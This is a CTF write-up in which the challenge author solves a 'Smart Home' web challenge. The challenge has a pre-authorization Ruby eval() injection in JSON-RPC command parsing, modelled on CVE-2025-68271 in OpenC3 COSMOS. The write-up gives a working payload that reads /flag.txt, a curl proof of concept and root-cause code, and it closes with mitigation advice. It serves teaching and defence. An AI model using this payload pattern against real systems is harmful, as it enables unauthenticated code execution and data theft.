Greetings, fellow cybersecurity enthusiasts and CTF players! In this writeup, we'll walk through the solution of the "Smart Home" web challenge from BUET CTF 2026 (Preliminary). I'm Sakibul Ali Khan, the author of this challenge, and I designed it to demonstrate a real-world bug pattern: JSON-RPC command parsing + eval() = RCE.

Challenge Overview
According to the description, we're given a household smart-home portal used to control lights, climate, door locks, alarm, etc. The goal is to retrieve the flag.
When you open the site, you'll notice a normal web UI with pages like Overview and Dashboard. The interesting part is that device actions aren't performed directly by the frontend — the UI sends commands to a backend JSON-RPC API.
Recon
Let's navigate the layout first. From the top navbar, open Overview and Dashboard. On the Dashboard page, we can control various devices and check activity logs (actions performed by the system).

Identify the backend call (JSON-RPC)
Open Browser DevTools → Network (or use Burp Suite as a proxy). When you click device buttons on the dashboard, you'll see requests like:
POST /api/rpc- A JSON body that looks like JSON-RPC:
jsonrpc,id,method,params

The method used is typically cmd, and the command is sent inside:
"params": { "command": "..." }So the attack surface is clear: we control the command string.
Exploitation:
Send the request to Burp Repeater
Capture one valid request in Burp, then send it to Repeater (CTRL+R).
A typical shape looks like this:
POST /api/rpc HTTP/1.1
Content-Type: application/json
{
"jsonrpc":"2.0",
"id":1,
"method":"cmd",
"params":{
"command":"LIGHTS ON"
}
}Now the question becomes: what happens to the command string on the server?
Spot the parsing weakness (the important behavior)
The backend splits the command into tokens (words). Then it converts each token into a "value". If a token starts with [ (array) or { (object), it gets evaluated as Ruby code using eval().
This is the core bug: an attacker can inject Ruby expressions inside something that "looks like an array" (e.g., [ ... ]), and eval() will execute it.

The working payload
Because the server splits on whitespace, your injected [...] must be one single token (no spaces inside it), otherwise it breaks into multiple parameters and won't reach eval() correctly.
Use this (cleaner + matches the "third token" explanation):
"command":"ALARM ARM [activity_log(File.read(\"/flag.txt\"))]"ALARM→ a valid device keywordARM→ an action keyword- The third token starts with
[→ triggers the dangerous conversion path - Inside
[...], We call:File.read("/flag.txt")to read the flagactivity_log(...)to store it in the activity log (a convenient exfil channel)
Important: Don't put spaces inside
[ ... ]. For example:[ activity_log(File.read("/flag.txt")) ]may fail because it becomes multiple tokens.
If you want to keep your original GET token:
Then update the explanation to "the 4th token starts with [", because:
ALARM ARM GET [payload] → [ is the 4th token, not the 3rd.
Read the result

After sending the malicious JSON-RPC request, check the dashboard's Activity section or call:
GET /api/activity
You should see a new activity entry containing the flag.
Why the payload works (step-by-step)
- JSON-RPC parsing: request reaches the JSON-RPC handler for
cmd. - Tokenization: the command string is broken into words/tokens.
- Dangerous coercion: when a token looks like an array (
[...]),String#convert_to_valueexecutes it witheval(). - Authorization happens too late:
authorize()is called after parsing, so the side-effects already happened even if the request ends in401.
That's the exact bug pattern this challenge is meant to teach.
Reproduce without Burp (curl PoC)
This is a minimal 3-step flow you can paste into your terminal:
- (Optional but common) visit
/once to get a session cookie - send the malicious JSON-RPC request
- read
/api/activityto retrieve the flag
# 1) Get cookies (session)
curl -i -c cookies.txt http://TARGET/
# 2) Trigger payload
curl -i -b cookies.txt \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc":"2.0",
"id":1,
"method":"cmd",
"params":{
"command":"ALARM ARM [activity_log(File.read(\"/flag.txt\"))]"
}
}' \
http://TARGET/api/rpc
# 3) Read activity log
curl -s -b cookies.txt http://TARGET/api/activityNote: In pre-auth parsing flaws like this, you might still see
401 Unauthorizedwhile the injected code already executed (because parsing happens before authorization).
Root cause (pseudo-code)
Here's the bug in one picture:
tokens = command.split(/\s+/)
values = tokens.map do |t|
if t.start_with?('[', '{')
eval(t) # attacker-controlled code execution
else
t
end
end
authorize! # too late (parsing already happened)This challenge recreates the vulnerability pattern described in CVE-2025–68271 (OpenC3 COSMOS): unsafe eval() during JSON-RPC command parsing before authorization.
CVE Explanation (the real-world reference behind this challenge)

This CTF challenge is CVE-inspired, specifically modeled after CVE-2025–68271 in OpenC3 COSMOS, where string-form JSON-RPC command parsing can lead to unauthenticated remote code execution.
CVE Overview: CVE-2025–68271 (OpenC3 COSMOS)
What the CVE says: OpenC3 COSMOS (a command-and-control platform) had a critical RCE reachable through its JSON-RPC API when requests use a string form of certain APIs. Attacker-controlled parameter text is parsed via String#convert_to_value, and for array-like inputs, it executes eval().
Why it's pre-auth (the scary part): the vulnerable path parses the command string before it calls authorize(). That means an unauthenticated attacker can still trigger code execution even if the request later fails authorization with 401.
Affected versions (as reported):
- GitHub advisory database shows >= 5.0.6 and < 6.10.2 (patched in 6.10.2).
- NVD description mentions 5.0.0 through 6.10.1 and also states it's fixed in 6.10.2.
(These differences often come from how ecosystems/packaging track affected ranges, but both agree the fix lands in 6.10.2.)
Defensive Lessons (Mitigation)
This class of vulnerability is preventable with a few hard rules:
- Never
eval()user-controlled input If you need to parse arrays/objects, use safe parsers and strict schemas. - Authenticate/authorize before parsing "commands" Don't process risky input before you've validated access.
- Prefer structured JSON over "string commands"
Instead of
"command": "ALARM ARM ..."prefer:
{"device":"alarm","action":"arm","args":[...]}Then validate device/action against allowlists and validate types.
These lessons directly match the CVE's root cause: unsafe type conversion (eval) and parsing before authorize().
Conclusion
"Smart Home" demonstrates a very practical lesson: never eval() user-controlled input, especially in "helpful" type-conversion code. When combined with a request pipeline that parses inputs before authorization, it becomes a pre-auth RCE class vulnerability — exactly what CVE-2025-68271 highlights for OpenC3 COSMOS.
If you're building APIs that accept "string commands," strongly prefer:
- structured JSON parameters,
- strict allowlists and schema validation,
- safe parsers (never eval),
- and auth before any risky processing.
References
- GitHub Advisory → https://github.com/advisories/GHSA-w757-4qv9-mghp
- NVD → https://nvd.nist.gov/vuln/detail/CVE-2025-68271
- Ruby Advisory DB → https://github.com/rubysec/ruby-advisory-db/blob/master/gems/openc3/CVE-2025-68271.yml
- Snyk Vulnerability Database → https://security.snyk.io/vuln/SNYK-RUBY-OPENC3-14928118
- Miggo → https://www.miggo.io/vulnerability-database/cve/CVE-2025-68271